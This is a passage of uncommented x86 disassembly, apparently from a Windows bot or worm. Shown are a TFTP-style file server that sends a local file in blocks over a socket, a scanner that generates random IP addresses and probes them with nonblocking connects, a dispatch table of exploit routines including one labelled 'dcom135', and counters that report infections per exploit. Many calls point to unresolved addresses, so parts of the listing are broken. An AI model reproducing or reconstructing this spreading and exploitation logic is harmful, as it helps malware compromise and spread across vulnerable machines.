		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25F030Eh
		nop

loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		nop
		call	near ptr 26003D2h
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------

loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		nop
		call	near ptr 26003D2h
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h

loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43F650
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_43C80C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43F640
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC

loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------

loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl

loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax

loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43F6CC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------

loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43F6CC

loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4

loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43F700
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh

loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		nop
		call	near ptr 26003D2h
		push	esi

loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172B0
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8

loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi

loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_43C848[eax*8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------

loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_43D804
		push	104h
		push	edi
		push	ebx
		mov	dword_43DA14, eax
		mov	dword_43DA10, ebx
		nop
		call	near ptr 2660000h
		push	103h
		mov	esi, offset dword_43D908
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43D800, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43DA98, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------

loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, ebx

loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_43DA14
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43DA0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43D800
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, dword_43DA0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40738E

loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_43DAA0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_40737C
; ---------------------------------------------------------------------------

loc_40738E:				; CODE XREF: sub_407252+128j
		call	near ptr 2650C45h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43DE5C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43E068, ebx
		call	near ptr 2660000h
		nop
		push	103h
		mov	esi, offset dword_43DF60
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43DE58, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43E0F0, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------

loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, ebx

loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43E06C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43E064, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DE58
		push	offset sub_4053D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, dword_43E064
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4074B2

loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_43E0F8, ebx
		jnz	loc_4075D5
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_40749C
; ---------------------------------------------------------------------------

loc_4074B2:				; CODE XREF: sub_407252+248j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------

loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_43DD34
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl

loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43DE4C, ebx
		mov	dword_43DE38, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DAAC
		call	sub_4172B0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43DAA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43DE38
		mov	dword_43DE44, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43DE48, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43DE40, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DAA8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, dword_43DE40
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4075BA

loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_43DE54, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------

loc_4075BA:				; CODE XREF: sub_407252+354j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_42B1C8

loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43C848h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43F59C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43F664
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------

loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730C
		mov	[ebp+var_C], eax

loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730C
		mov	[ebp+var_8], eax

loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730C
		mov	[ebp+var_4], eax

loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730C

loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43C848[ecx*8], eax

loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------

loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43F650
		push	esi
		mov	edi, eax
		call	dword_43F700
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 25F09B1h
		nop
		push	eax
		call	sub_417302
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4450C4[ebx]
		cmp	dword_43C84C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------

loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6

loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4450C4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172B0
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_444EC0[ebx]
		push	eax
		call	sub_4172B0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_43D7E8
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]

loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h

loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_43D7E8
		nop
		call	near ptr 77F7E300h
		jmp	loc_407960
; ---------------------------------------------------------------------------

loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]

loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 26003D2h
		jmp	loc_4077AE
; ---------------------------------------------------------------------------

loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 25F030Eh
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3302o
					; sub_40EE72+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
